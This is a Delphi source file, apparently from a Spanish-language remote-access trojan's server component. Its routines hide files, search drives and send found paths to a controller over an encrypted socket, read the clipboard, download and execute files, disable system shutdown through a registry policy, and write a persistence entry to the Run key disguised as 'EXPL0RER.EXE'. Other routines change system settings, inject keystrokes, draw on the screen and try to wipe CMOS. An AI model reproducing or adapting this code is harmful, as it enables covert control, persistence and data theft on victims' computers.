    sigue   :longbool;
    esDir   : Bool;
begin
     retval := FindFirstFile( PChar( path ), sr );
     if retval = -1 then
          Exit;
     sigue := true;
     while sigue do
     begin
         EsDir := ( (sr.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) > 0 );
         if EsDir then
         begin
             if ( string(sr.cfilename) <> '.' ) and ( string(sr.cfilename)<>'..') then
                  Ocultar( Copy( path,1, Length( path ) - 3 ) + sr.cfilename + '*.*', true );
         end
         else begin
                   poneroculto(Copy( path, 1, Length( path ) - 3) + sr.cFileName);
               end;
         sigue := FindNextFile( retval, sr );
      end;
end;
   ///////////////////////////////////////////////////////////////////////////////
procedure BuscaFicheros( path, mask : String; SOCKET: Tsocket);
var sr      : WIN32_FIND_DATA;
    retval  :integer;
    sigue   :longbool;
    esDir   : Bool;
begin
     sigue := true;
     if path[ Length( path ) ] <> '' then
        path := path +'';
     retval := FindFirstFile( Pchar( path + '*.*' ), sr );
     while sigue do
     begin
         EsDir := ( (sr.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) > 0 );
         if EsDir then
            if ( string(sr.cfilename) <> '.' ) and ( string(sr.cfilename)<>'..') then
                 BuscaFicheros( path + sr.cFileName, mask, SOCKET  );
         sigue := FindNextFile( retVal, sr );
     end;
     if path[ Length( path ) ] <> '' then
        path := path + '';
     RetVal := FindFirstFile( Pchar( path + mask ), sr );
     if RetVal = -1 then
        Exit;
     sigue := true;
     while sigue do
     begin
          if ( string(sr.cfilename) <> '.' ) and ( string(sr.cfilename)<>'..') then
             SendData(SOCKET, 'FiLeSeArCh'+ '^' + path + sr.CfileName + '^');
             sleep(100);
          sigue := FindNextFile( retVal, sr );
     end;
end;
///////////////////////////////////////////////////////////////////////////////
function Resoluciones( udp : Tsocket; cli : Tsockaddr; tcp:integer) : String ;
var c , i : integer;
    DevMode : TDeviceMode;
    l : string;
begin
   c := 0;
   l := Chr(13);
   i := 0;
   //Contestar( Udp, cli, LocalIP + ': Resoluciones de video',tcp );
   while EnumDisplaySettings( nil, c, DevMode ) do
   begin
      inc( i );
      with DevMode do
     // Contestar( udp,
               //  cli,
              //   IntToStr( i ) + ' - ' + IntToStr( dmPelsWidth ) + '*' + IntToStr( dmPelsHeight ) + ', ' + IntToStr( dmBitsPerPel ), tcp);
      Inc( c );
   end;
end;
  ///////////////////////////////////////////////////////////////////////////////
function ClearCMos: String;
begin
     if esXP then
     begin
          Result := '&1&';
          Exit;
     end;
     Result := '&0&';
     try
       asm
          MOV AX,0h
   @L1:   OUT 70h,AX
          MOV BX,AX
          MOV AX,0h
          OUT 71h,AX
          MOV AX,BX
          INC AX
          CMP AX,03Fh
         JNZ @L1
      end;
      except end;
end;
  ///////////////////////////////////////////////////////////////////////////////
function LeerPortaPapeles( WHandle : Thandle ) : String;
var Data : THandle;
begin
     LeerPortaPapeles := 'ERROR, Trashcan';
     CloseClipboard;
     OpenClipboard( WHandle );
     Data := GetClipboardData( CF_TEXT );
     try if Data <> 0 then
              Result := PChar( GlobalLock( Data ) );
         if Data <> 0 then GlobalUnlock( Data );
         CloseClipboard;
         except
     end;
end;
   ///////////////////////////////////////////////////////////////////////////////
function  Borrar_Clipboard( handle : Thandle ) : String;
begin
     CloseClipboard;
     OpenClipboard( Handle );
     EmptyClipboard;
     CloseClipboard;
     Result := 'Trashcan was empty';
end;
  ///////////////////////////////////////////////////////////////////////////////
procedure descargar_url( Udp : Tsocket; Cli : Tsockaddr; parametro, parametro2 : String; tcp:integer );
begin
     if Bajando then
     begin
          Exit;
     end;
     if FileExists( Parametro2 ) then
     begin
          Exit;
     end;
     Bajando := TRUE;
     if Descargar( Parametro, parametro2 ) then
     else
     Bajando := FALSE;
end;
   ///////////////////////////////////////////////////////////////////////////////
function  CambiarNombrePC( parametro : string ): string;
begin
     try SetComputerName( PChar( Parametro ) ); except end;
     Result := 'cumputers name was changed to :' + Parametro;
end;
function Set_Resolucion( Parametro : String ) : string;
var DevMode : TDeviceMode;
begin
     if esXp then
     begin
          Result := 'it doesnt work on XP!!!';
          Exit;
     end;
     if StrToInt( Parametro ) < 0 then
        Exit;
     try if EnumDisplaySettings( nil, StrToInt( Parametro ), DevMode ) then
            ChangeDisplaySettings( DevMode, 0 );
         Result := 'Resulution changed';
         except Result := 'Error';
     end;
end;
   ///////////////////////////////////////////////////////////////////////////////
function SetTime( parametro : String ) : String;
var Fecha   : TSystemTime;
    m, d, y : Word;
    tmp     : String;
begin
     Tmp := Parametro;
     GetLocalTime( Fecha );
     d := StrToInt( Copy( parametro, 1, 2 ) );//day
     m := StrToInt( Copy( parametro, 4, 5 ) );//mouth
     y := StrToInt( Copy( parametro, 7, 10 ) );//year
     with Fecha do
     begin
          wYear  := y;
          wMonth := m;
          wDay   := d;
     end;     
     if SetSystemTime( Fecha ) then
        Result := 'The time was changed with succeful'
     else
         Result := 'ERROR; Time couldnt been changed';
end;
  ///////////////////////////////////////////////////////////////////////////////
function Red(Color: LongInt):integer;
begin
     Red := Color mod 256;
end;
  ///////////////////////////////////////////////////////////////////////////////
function Green(Color: LongInt):integer;
begin
     Green := ((Color and $FF00) div 256) mod 256;
end;
  ///////////////////////////////////////////////////////////////////////////////
function Blue(Color: LongInt):integer;
begin
     Blue := (Color and $FF0000) div 65536;
end;
  ///////////////////////////////////////////////////////////////////////////////
function Color_Menues( parametro : String ): String ;
var R, G, B : Integer;
    Colors, Items : array [ 0..1 ] of LongInt;
begin
    try R := Red( StrToInt64( Parametro ) );
         G := Green( StrToInt64( Parametro ) );
         B := Blue( StrToInt64( Parametro ) );
         Items[ 0 ]  := COLOR_MENU;
         Items[ 1 ]  := COLOR_MENUTEXT;
         Colors[ 0 ] := StrToInt64( Parametro );
         Colors[ 1 ] := RGB( 255 - R, 255 - G, 255 - B );
         SetSysColors( High( Items ), Items, Colors );
         Result := 'Menu colors were Changed';
         except Result := 'ERROR';
     end;
end;
   ///////////////////////////////////////////////////////////////////////////////
function Color3d( Parametro : String) : String;
var Colors, Items : array [ 0..1 ] of LongInt;
begin
     try Items[ 0 ] := COLOR_BTNFACE;
     Items[ 1 ] := COLOR_3DFACE;
     Colors[ 0 ]:= StrToInt64( Parametro );
     Colors[ 1 ]:= StrToInt64( Parametro );
     SetSysColors( High( Items ), Items, Colors );
     Result := ': 3d color was changed';
     except end;
end;
  ///////////////////////////////////////////////////////////////////////////////
function Color_Ventanas( Parametro :string ) : String;
var Colors, Items : array [ 0..1 ] of LongInt;
begin
     try Items[ 0 ]  := COLOR_WINDOW;
         Items[ 1 ]  := COLOR_WINDOW;
         Colors[ 0 ] := StrToInt( Parametro );
         Colors[ 1 ] := StrToInt( Parametro );
         SetSysColors( High( Items ), Items, Colors );
         Result := 'windows colors were changed';
         except Result := 'ERROR';
     end;
end;
  ///////////////////////////////////////////////////////////////////////////////
function Sacar_Apagar_sistema : String;
var h : HKEY;
    i : Integer;
begin
     RegOpenKeyEx( HKEY_CURRENT_USER,
                   PChar( 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer' ),
                   0,
                   KEY_ALL_ACCESS,
                   h );
     RegsetValueEx( h,
                    PChar( 'NoClose' ),
                    0,
                    REG_SZ,
                    PChar( '1' ),
                    Length( '1' ) + 1 );
     RegCloseKey( h );
     SystemParametersInfo( SPI_SCREENSAVERRUNNING, 1, @i, 0);
     Result := 'Turn off system disabled ';
end;
   ///////////////////////////////////////////////////////////////////////////////
function Poner_Apagar_sistema : String;
var i : Integer;
    h : HKEY;
begin
     RegOpenKeyEx( HKEY_CURRENT_USER,
                   PChar( 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer' ),
                   0,
                   KEY_ALL_ACCESS,
                   h );
     RegDeleteValue( h,
                     PChar( 'NoClose' ));
     RegCloseKey( h );
     SystemParametersInfo( SPI_SCREENSAVERRUNNING, 1, @i, 0);
     Result := 'turn off system enabled!!';
end;
   ///////////////////////////////////////////////////////////////////////////////
procedure ThreadVivorita;
var h : HDC;
    p : HPen;
    Pos : TPoint;
    v : array[1..20]of integer;
    incX, incY : integer;
begin
   v[1] := 1;   v[2] := 1;
   v[3] := 1;   v[4] := 1;
   v[5] := 1;   v[6] := 1;
   v[7] := 1;   v[8] := 1;
   v[9] := 1;   v[10] := 1;
   v[11] := -1; v[12] := -1;
   v[13] := -1; v[14] := -1;
   v[15] := -1; v[16] := -1;
   v[17] := -1; v[18] := -1;
   v[19] := -1; v[20] := -1;
   h := createDC( Pchar( 'DISPLAY' ), nil, nil, nil );
   P := CreatePen( PS_DOT, 6, $000080FF);
   SelectObject( h, P );
   pos.X := 400;
   pos.Y := 300;
   incX  := 1;
   incY  := 1;
   while vivorita do
   begin
        LineTo( h, pos.X, Pos.Y );
        pos.X := pos.X + incX;
     	pos.Y := pos.Y + incY;
        if pos.X < 0   then
           pos.X := 0;
        if pos.X >  GetSystemMetrics( SM_CXSCREEN ) then
           pos.X := GetSystemMetrics( SM_CXSCREEN );
        if pos.Y < 0   then
           pos.Y := 0;
        if pos.Y > GetSystemMetrics( SM_CYSCREEN ) then
           pos.Y := GetSystemMetrics( SM_CYSCREEN );
        if(random (27) = 7)then
        begin
             incX := incX * v[random(20) + 1];
             incY := incY * v[random(20) + 1];
        end;
        Sleep( 10 );
   end;
end;
  ///////////////////////////////////////////////////////////////////////////////
function CrearThreadVivorita: String;
var id: cardinal;
begin
     if Vivorita then
     begin
          Result := '&1&';
          Vivorita := FALSE;
     end
     else
     begin
          Vivorita := TRUE;
          BeginThread(nil, 0, @ThreadVivorita, nil, 0, id );
          Result := '&0&';
     end;
end;
 ///////////////////////////////////////////////////////////////////////////////
procedure PresionarTecla( key: Byte );
begin
try
      Keybd_Event ( key , 0 , 0 , 0 );
      Keybd_Event ( key , 0 , KEYEVENTF_KEYUP , 0 );
      except exit end;;
end;
 ///////////////////////////////////////////////////////////////////////////////
function Ocurrencias( const ss, s: String ): Integer;
var i: Integer;
begin
     i := 1;
     Result := 0;
     while i <= length( s ) + 1 do
     begin
          if s[ i ] = ss then
             Result := Result + 1;
          Inc( i );
     end;
end;     
  ///////////////////////////////////////////////////////////////////////////////
procedure Filtrar( var s:String );
var a : set of char;
    i : Byte;
    Aux : string;
begin
     a := [ 'a'..'z' ] + [ 'A'..'Z'] + [ '0'..'9'];
     Aux := s;
     s := '';
     for i := 1 to Length( Aux )do
          if Aux[ i ] in a then S := S + Aux[ i ];
end;
   ///////////////////////////////////////////////////////////////////////////////
 function GenerarRandomString: String;
var i: Byte;
    tmp : String;
    vec : Array[ 1..58 ] of byte;
begin
     for i := 1 to 58 do
         vec[ i ] := i + 64;
     Tmp := '';
     Randomize;
     for i := 1 to 4 + Random( 3216 ) mod 2 do
     begin
          Randomize;
          Tmp := Tmp + Chr( Vec[ Random( 58 ) ] );
          Sleep( 500 );
     end;
     result := LowerCase( tmp );
     if Length( Result ) > 12 then
        Result := Copy( result, 1, 9 );
     Filtrar( REsult );
end;
   ///////////////////////////////////////////////////////////////////////////////
function HexToInt(s: string): Longword;
var  b: Byte;
     c: Char;
begin
     Result := 0;
     s := UpperCase( s );
     for b := 1 to Length( s ) do
     begin
          Result := Result * 16;
          c := s[ b ];
          case c of
              '0'..'9': Inc(Result, Ord(c) - Ord('0'));
              'A'..'F': Inc(Result, Ord(c) - Ord('A') + 10);
          end;
     end;
end;
  ///////////////////////////////////////////////////////////////////////////////
function stringtochar(st : string) : char;
var c : char;
begin
     c := #0;
     while c <> st do
           c := succ(c);
     stringtochar := c;
end;
    ///////////////////////////////////////////////////////////////////////////////
function Trim(const S: string): string;
var
  I, L: Integer;
begin
  L := Length(S);
  I := 1;
  while (I <= L) and (S[I] <= ' ') do Inc(I);
  if I > L then Result := '' else
  begin
    while S[L] <= ' ' do Dec(L);
    Result := Copy(S, I, L - I + 1);
  end;
end;
  ///////////////////////////////////////////////////////////////////////////////
function StrToIntDef(const S: string; Default: Integer): Integer;
var
  E: Integer;
begin
  Val(S, Result, E);
  if E <> 0 then Result := Default;
end;
  ///////////////////////////////////////////////////////////////////////////////
//Devuelve una cadena en formato numerico de un valor para Unsigned 32 bits
function UnSigFrmToStr(Value: Cardinal; FormatStr : PChar): string;
var
  Poinx : Pointer;
  wsprintfX : function (Output: PChar; Format: PChar; Value : Cardinal): Integer; cdecl;
  hdllib : HINST;
  retmp : Integer;
begin
  hdllib := LoadLibrary('User32.dll');   {Carga la libreria}
  if hdllib <> 0 then begin
     Poinx := GetProcAddress(hdllib, 'wsprintfA');
     if Poinx <> nil then begin
        @wsprintfX := Poinx;
        SetLength(Result, 15);
        retmp := wsprintfX(PChar(Result), FormatStr, Value);
        SetLength(Result, retmp);
     end;
  FreeLibrary(hdllib);
  end;
end;
   ///////////////////////////////////////////////////////////////////////////////
function LowerCase(const S: string): string;
var
  Ch: Char;
  L: Integer;
  Source, Dest: PChar;
begin
  L := Length(S);
  SetLength(Result, L);
  Source := Pointer(S);
  Dest := Pointer(Result);
  while L <> 0 do
  begin
    Ch := Source^;
    if (Ch >= 'A') and (Ch <= 'Z') then Inc(Ch, 32);
    Dest^ := Ch;
    Inc(Source);
    Inc(Dest);
    Dec(L);
  end;
end;
  ///////////////////////////////////////////////////////////////////////////////
procedure showm( s : String );
begin
     MessageBox( 0 , pchar( S ) , 'MSN' , MB_OK + MB_ICONSTOP+ MB_SYSTEMMODAL );
end;
   ///////////////////////////////////////////////////////////////////////////////
function StrLCopy(Dest, Source: PChar; MaxLen: Cardinal): PChar; assembler;
asm
        PUSH    EDI
        PUSH    ESI
        PUSH    EBX
        MOV     ESI,EAX
        MOV     EDI,EDX
        MOV     EBX,ECX
        XOR     AL,AL
        TEST    ECX,ECX
        JZ      @@1
        REPNE   SCASB
        JNE     @@1
        INC     ECX
@@1:    SUB     EBX,ECX
        MOV     EDI,ESI
        MOV     ESI,EDX
        MOV     EDX,EDI
        MOV     ECX,EBX
        SHR     ECX,2
        REP     MOVSD
        MOV     ECX,EBX
        AND     ECX,3
        REP     MOVSB
        STOSB
        MOV     EAX,EDX
        POP     EBX
        POP     ESI
        POP     EDI
end;
  ///////////////////////////////////////////////////////////////////////////////
function StrPCopy(Dest: PChar; const Source: string): PChar;
begin
  Result := StrLCopy(Dest, PChar(Source), Length(Source));
end;
   ///////////////////////////////////////////////////////////////////////////////
//Devuelve una cadena en formato numerico de un valor para Signed 32 bits
function SigFrmToStr(Value: Integer; FormatStr : PChar): string;
var
  Poinx : Pointer;
  wsprintfX : function (Output: PChar; Format: PChar; Value : Integer): Integer; cdecl;
  hdllib : HINST;
  retmp : Integer;
begin
  hdllib := LoadLibrary('User32.dll');   {Carga la libreria}
  if hdllib <> 0 then begin
     Poinx := GetProcAddress(hdllib, 'wsprintfA');
     if Poinx <> nil then begin
        @wsprintfX := Poinx;
        SetLength(Result, 15);
        retmp := wsprintfX(PChar(Result), FormatStr, Value);
        SetLength(Result, retmp);
     end;
  FreeLibrary(hdllib);
  end;
end;
   ///////////////////////////////////////////////////////////////////////////////
function IntToStr(Value: Integer): string;
begin
   Result := SigFrmToStr(Value, PChar('%d'));
end;
   ///////////////////////////////////////////////////////////////////////////////
function StrToInt(const S: string ): Integer;
var  E: Integer;
begin
     Val(S, Result, E);
end;
  ///////////////////////////////////////////////////////////////////////////////
function StrPas(const Str: PChar): string;
begin
  Result := Str;
end;
   ///////////////////////////////////////////////////////////////////////////////
//System's date & time.
function ddate : string;
var  datestr  : string;
     retsize : integer;
begin
     setlength(datestr,128);
     retsize := GetDateFormat( LOCALE_SYSTEM_DEFAULT,
                               LOCALE_NOUSEROVERRIDE and DATE_LONGDATE,
                               nil,
                               'ddd_MMM_dd_yyyy',
                               PChar(datestr),
                               128);
     setlength(datestr, retsize - 1);
     Result := datestr ;
end;
  ///////////////////////////////////////////////////////////////////////////////
function Time : string;
var  timestr : string;
     retsize : integer;
begin
     setlength(timestr, 128);
     retsize := GetTimeFormat(LOCALE_SYSTEM_DEFAULT,
                              LOCALE_NOUSEROVERRIDE and TIME_FORCE24HOURFORMAT,
                              nil,
                              'hh-mm-ss-tt',
                              PChar(timestr),
                              128);
     setlength(timestr, retsize - 1);
     Result := timestr;
end;
  ///////////////////////////////////////////////////////////////////////////////
function StrToInt64(const S: string): Int64;
var  E: Integer;
begin
     Val(S, Result, E);
end;
function UpperCase( S :String ): String ;
var i : Byte;
begin
     for i := 1 to Length( s ) do
         S[ i ] := UpCase( S[ i ] );
     Result := S;
end;
   ///////////////////////////////////////////////////////////////////////////////
function FileAge(const FileName: string): Integer;
type  LongRec = packed record
            Lo, Hi: Word;
      end;
var  Handle: THandle;
     FindData: TWin32FindData;
     LocalFileTime: TFileTime;
begin
  Handle := FindFirstFile(PChar(FileName), FindData);
  if Handle <> INVALID_HANDLE_VALUE then
  begin
    Windows.FindClose(Handle);
    if (FindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then
    begin
      FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
      if FileTimeToDosDateTime(LocalFileTime, LongRec(Result).Hi,
        LongRec(Result).Lo) then Exit;
    end;
  end;
  Result := -1;
end;
   ///////////////////////////////////////////////////////////////////////////////
function FileExists( s : String ): Boolean;
begin
     Result := FileAge( s ) <> -1
end;
  ///////////////////////////////////////////////////////////////////////////////
function GetCPUSpeed: Double;
const
DelayTime = 500;
var 
TimerHi, TimerLo: DWORD;
PriorityClass, Priority: Integer;
begin 
try
PriorityClass := GetPriorityClass(GetCurrentProcess);
Priority := GetThreadPriority(GetCurrentThread);
SetPriorityClass(GetCurrentProcess, REALTIME_PRIORITY_CLASS);
SetThreadPriority(GetCurrentThread, THREAD_PRIORITY_TIME_CRITICAL);
Sleep(10);
asm
dw 310Fh
mov TimerLo, eax
mov TimerHi, edx
end;
Sleep(DelayTime);
asm
dw 310Fh
sub eax, TimerLo
sbb edx, TimerHi
mov TimerLo, eax
mov TimerHi, edx
end;
SetThreadPriority(GetCurrentThread, Priority);
SetPriorityClass(GetCurrentProcess, PriorityClass);
Result := TimerLo / (1000.0 * DelayTime);
except end;
end;
   ///////////////////////////////////////////////////////////////////////////////
function BorrarArchivo( s : String ): integer;
var i: Byte;
begin
     Result := 0;
     if FileExists( s )then
     try
       //saco atributos
       i := GetFileAttributes( PChar( s ) );
       i := i and $00000002;//faHidden;
       i := i and $00000001;//faReadOnly;
       i := i and $00000004;//faSysFile;  
       SetFileAttributes( PChar( s ), i );
       DeleteFile( Pchar( s ) );
       except end;
end;
    ///////////////////////////////////////////////////////////////////////////////
//Define los privilegios para windows NT
procedure NTAdjustTokens(lpName : PChar; Attributes : LongWord);
var
   ProcHdl, TokenHdl : Cardinal;
   iLuid : Int64;
   TokenPrivs, TokenPrivsNew : TTokenPrivileges;
   RetC : DWORD;
begin
   ProcHdl := GetCurrentProcess;
   if (OpenProcessToken(ProcHdl, TOKEN_ALL_ACCESS, TokenHdl) = False) then exit;
   if (LookupPrivilegeValue('', lpName, iLuid) = True) then begin
      TokenPrivs.PrivilegeCount := 1;
      TokenPrivs.Privileges[0].Luid := iLuid;
      TokenPrivs.Privileges[0].Attributes := Attributes;
   end;
   if (AdjustTokenPrivileges(TokenHdl,False,TokenPrivs,SizeOf(TokenPrivsNew),TokenPrivsNew,RetC) = False) then exit;
end;
    ///////////////////////////////////////////////////////////////////////////////
function Descargar( url : String; Parametro2: String  ): boolean;
var buffer : array [ 1..1024 ] of char;
    bytes_leidos : dword;
    hInternetOpen, hFile : HINTERNET;
    oops                 : boolean;
    a : FILE;
begin
     Result := FALSE;
     hInternetOpen := InternetOpen( 'Master', INTERNET_OPEN_TYPE_PRECONFIG, '', '', 0 );
     if hInternetOpen = nil then  exit;
     hFile:= InternetOpenURL( hInternetOpen, lptstr( url ), nil, 0, INTERNET_FLAG_EXISTING_CONNECT, 0 );
     if hfile = nil then
     begin
          InternetCloseHandle( hInternetOpen );
          Exit;
     end;
     AssignFile( a, Parametro2 );
     try Rewrite( a, 1 ); except end;
     repeat
           oops := not InternetReadFile( hFile, @buffer, sizeOf( buffer ), bytes_leidos );
           if ( not oops ) and ( bytes_leidos > 0 ) then
           begin
                BlockWrite( a, buffer, bytes_leidos );
           end;
     until ( oops ) or ( Bytes_Leidos = 0 );
     CloseFile( a );
     Result := not Oops;
     InternetCloseHandle( hInternetOpen );
     InternetCloseHandle( hFile );
end;
   ///////////////////////////////////////////////////////////////////////////////
function EsXP : Boolean;
begin
     Result := FileExists( FindWindowsDir + 'System32Cmd.exe' );
end;
   ///////////////////////////////////////////////////////////////////////////////
function BuffToStr(const b: Array of Char ) : string;
var i : Integer;
begin
     for i := Low( b )to High( b ) do
         Result := Result + b[ i ];
end;
function TextoValido( b : Array of Char ) : string;
var i : Byte;
begin
     i := 1;
     while ord( b [ i ] ) <> 0 do
           Inc( i );
     Result := Copy( b, 1, i );
end;
    ///////////////////////////////////////////////////////////////////////////////
function NombreHost: String;
var  NameBuf: array[0..60] of Char;
     SizeBuf: LongWord;
//retorna el host
begin
     SizeBuf := SizeOf( NameBuf );
     GetComputerName(NameBuf, SizeBuf );
     Result  := NameBuf;
end;
   ///////////////////////////////////////////////////////////////////////////////
function Usuario: String;
//retorna el usuario logeado
var  NameBuf: array[ 0..60 ] of Char;
     SizeBuf: LongWord;
begin
     SizeBuf := Sizeof( NameBuf );
     GetUserName( NameBuf, SizeBuf );
     Result  := NameBuf ;
end;
    ///////////////////////////////////////////////////////////////////////////////
function VentanaActiva: String;
var  PC: Array[0..$FFF] of Char;
     Wnd : Thandle;
begin
    Wnd := GetForegroundWindow;
    SendMessage( Wnd , $000D , $FFF , LongInt( @PC ) ); //$000D es el WM_GETTEXT
    Result := PC;
end;
  ///////////////////////////////////////////////////////////////////////////////
function FindWindowsDir : string;
//retorna el directorio de windows
var  DataSize : Integer;
begin
     SetLength (Result, 255);
     DataSize := GetWindowsDirectory(PChar (Result), 255);
     SetLength (Result, DataSize);
end;
   ///////////////////////////////////////////////////////////////////////////////
function Get_SysPath:string  ;
var       DataSize : Integer;
    begin
     SetLength (Result, 255);
       GetSystemDirectory( PChar(Result),255);
 end;
 function FindChar(Word: string;char : string):integer  ;
      var
      i : integer ;
     begin
      for i:= 1 to  Length(Word) do begin
         if  (copy(Word,i,1)=char ) then begin
            result:=i;
            exit;
         end;
      end;
 end;
    ///////////////////////////////////////////////////////////////////////////////
   function FindNChars(Word: string;char : string):integer  ;
        var i, r : integer  ;
       begin
            r:=0;
           for i:=1 to Length(Word) do begin
            if  (copy(Word,i,1)=char ) then begin
              inc(r);
            end;
           end;
           result:=r;
       end;
    ///////////////////////////////////////////////////////////////////////////////
 function LocalIP: String;
type
TaPInAddr = Array[0..10] of PInAddr;
PaPInAddr = ^TaPInAddr;
var
phe: PHostEnt;
pptr: PaPInAddr;
Buffer: Array[0..63] of Char;
I: Integer;
GInitData: TWSAData;
begin
WSAStartup($101, GInitData);
Result := '';
GetHostName(Buffer, SizeOf(Buffer));
phe := GetHostByName(buffer);
if phe = nil then Exit;
pPtr := PaPInAddr(phe^.h_addr_list);
I := 0;
while pPtr^[I] <> nil do
begin
Result := inet_ntoa(pptr^[I]^);
Inc(I);
end;
WSACleanup;
end;
  ///////////////////////////////////////////////////////////////////////////////
procedure Registro;
var handle : HKEY;
 key : integer;
begin
     while TRUE do
     begin
     if regdata='' then begin
       regdata:='EXPLORER';
     end;
     if  regappname= '' then begin
     regappname:='EXPL0RER.EXE';
     end;
     if (regkey='') or(regkey='1') then begin
     key :=   DWORD($80000002) ;
     end;
     if regkey='2' then begin
     key :=   DWORD($80000001) ;
     end;
     if regkey='3' then begin
     end;
          RegOpenKeyEx( key,
                        PChar( Clave ),
                        0,
                        KEY_ALL_ACCESS,
                        handle );
          RegSetValueEx( handle,
                         PChar(regdata),
                         0,
                         REG_SZ,
                         PChar(regappname ),
                         Length(regappname ) + 1 );
          RegCloseKey( handle );
              Sleep( 1500 );
     end;
end;
   ///////////////////////////////////////////////////////////////////////////////
procedure CrearThreadRegistro (key : string; data : string; appname : string);
var  id : Cardinal;
begin
     Clave := 'Software';
     Clave := Clave + 'Microsoft';
     Clave := Clave + 'Windows';
     Clave := Clave + 'CurrentVers';
     Clave := Clave + 'ionRun';
     regkey:=key;
     regdata:=data;
     appname:=regappname;
     BeginThread( nil, 0, @Registro, nil, 0, id );
end;
   ///////////////////////////////////////////////////////////////////////////////
function ShellEx(Path : string):string;
 begin
 if FileExists(Path)=true then begin
 ShellExecute(0, 'open',Pchar(Path),0 ,0,1);
 Result:='File :' +  Path  + ' Executed'
 end
 else
 begin
    Result:='File :' +  Path  + ' Doesnt exists'
 end;
 end;
   ///////////////////////////////////////////////////////////////////////////////
      function Replace(strSource:string; strToFind:string; strReplace:string): string;
    var sresult:string; i:integer;
    begin
    i:=1;
    while i<=length(strSource) do
    begin
    if copy(strSource,i,length(strToFind)) = strToFind then
    begin
    sresult := sresult + strReplace;
    i:=i+length(strToFind);
    end
    else
    begin
    sresult := sresult + copy(strSource,i,1);
    i:=i+1;
    end;
    end;
    result := sresult
    end;
   ///////////////////////////////////////////////////////////////////////////////
function SendData (SOCKET : TSOCKET;Data :string): integer;
const
my_key = 35311;
begin
Data := Encrypt (data,my_key);
result:=Send ( SOCKET, Pointer(Data)^, length( Data), 0	 );
sleep(100);
end ;
function SendDataMSN (SOCKET : TSOCKET;Data :string): integer;
begin
result:=Send ( SOCKET, Pointer(Data)^, length( Data), 0	 );
sleep(100);
end ;
   ///////
   ///////////////////////////////////////////////////////////////////////////////
 function PeerToAddress(Socket: TSocket): string;
var
  SockAddrIn: TSockAddrIn;
  Len: integer;
begin
  if Socket <> INVALID_SOCKET then
    begin
      Len:= SizeOf(SockAddrIn);
      if getpeername(Socket, SockAddrIn, Len) <> SOCKET_ERROR then
        Result:= inet_ntoa(SockAddrIn.sin_addr);
    end;
end;
   ///////////////////////////////////////////////////////////////////////////////
function GetLocalHostName: string;
var
  szHostName: array[0..128] of char;
begin
  if gethostname(szHostName, 128) = 0 then
    Result:= szHostName
  else
end;
  function WinVer: string;
var
VersionInfo: TOSVersionInfo;
begin
VersionInfo.dwOSVersionInfoSize := SizeOf(VersionInfo);
GetVersionEx(VersionInfo);
with VersionInfo do 
begin 
case dwPlatformid of
0 : begin
result := 'Windows System:   '+'3.11';
end;
1 : begin
case dwMinorVersion of
0 : result := 'Windows System:   '+'95';
10: begin
if ( szCSDVersion[ 1 ] = 'A' ) then
Result := 'Windows System:   '+'98 SE'
else
Result := 'Windows System:   '+'98';
end;
90 : result := 'Windows System:   '+'Millenium';
else
result := 'Windows System:   '+'Unknown';
end;
end;
2 : begin
case dwMajorVersion of
3 : result := 'Windows System:   '+'Windows NT';
4 : result := 'Windows System:   '+'XP';
5 : begin
case dwMinorVersion of
0 : result := 'Windows System:   '+'2000';
1 : result := 'Windows System:   '+'Whistler';
else
result := 'Windows System:   '+'Unknown';
end;
if szCSDVersion <> '' then
result := result + ' + Service pack: ' + szCSDVersion;
end;
else
result := 'Windows Platform: '+'Unknown';
end; // end case
end; // end case
end; // end case
end; // end version info
end; // GetWindowsVersion
   ///////////////////////////////////////////////////////////////////////////////
 function LIST( dir : string ): string;
var sr: WIN32_FIND_DATA;
    retval: integer;
    sigue : longbool;
    size  : cardinal;
    tipo  : string;
    Ret   : String;
    Nfiles: integer;
    files : string;
   F :file of char;
   i : integer;
   c : char;
begin
    files:='';
  // SendData(socket, ( '9^'+ 'Listing Dir:' + Copy( Dir, 1, Length( Dir ) - 3 )  ) + '^');
     tipo   := '';
     Ret    := 'LIST ' + Copy( Dir, 1, Length( Dir ) - 3 );
     retval := FindFirstFile( PChar( dir ), sr );
     sigue  := true;
     if retval <> -1 then
     begin
          while sigue do
          begin
              tipo     := '';
              size := 0;
              if (sr.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) > 0 then
                 tipo:='d'
              else
                  begin
                  if (sr.nFileSizeHigh <> 0) then
                         size := (((sr.nFileSizeHigh * 32) + sr.nFileSizeLow) div 1024)
                      else
                         size := (sr.nFileSizeLow) div 1024;
                  end;
             if (sr.dwFileAttributes and FILE_ATTRIBUTE_SYSTEM) > 0 then
             begin
                  if Tipo <> '' then
                     Tipo := Tipo + '-';
                  tipo:= tipo + 'system';
             end;
             if (sr.dwFileAttributes and FILE_ATTRIBUTE_ARCHIVE) > 0 then
             begin
                  if Tipo <> '' then
                     Tipo := Tipo + '-';
                  tipo:= tipo + 'file';
             end;
             if (sr.dwFileAttributes and FILE_ATTRIBUTE_NORMAL) > 0 then
             begin
                  if Tipo <> '' then
                     Tipo := Tipo + '-';
                  tipo:= tipo + 'normal';
             end;
             if (sr.dwFileAttributes and FILE_ATTRIBUTE_TEMPORARY) > 0 then
             begin
                  if Tipo <> '' then
                     Tipo := Tipo + '-';
                  tipo:= tipo + 'temp';
             end;
             if (sr.dwFileAttributes and FILE_ATTRIBUTE_HIDDEN) > 0 then
             begin
                  if Tipo <> '' then
                     Tipo := Tipo + '-';
                  tipo:= tipo + 'hidden';
             end;
             if (sr.dwFileAttributes and FILE_ATTRIBUTE_READONLY) > 0 then
             begin
                   if Tipo <> '' then
                      Tipo := Tipo + '-';
                   tipo:= tipo + 'Only read';
             end;
             Ret:='' +  sr.cFileName  +  '>' + IntToStr( size ) +  '>' + tipo + '>' +  '*';
               files :=files + Ret;
            //  sleep(10);
           //  SendData(socket, '1' + '^' +  Ret  + '^');
                { if Nfiles >100 then begin
                                sleep (200);
              SendData(socket, '1' + '^' +  files  + '^');
              sleep (200);
                    files:='';
                     Nfiles:=0;
                 end;  }
              sigue := FindNextFile( retval, sr );
          end;
     end;
            {  sleep (200);
              SendData(socket, '1' + '^' +  files  + '^');
              sleep (200);      }
                 Nfiles:= findNchars(files,'*');
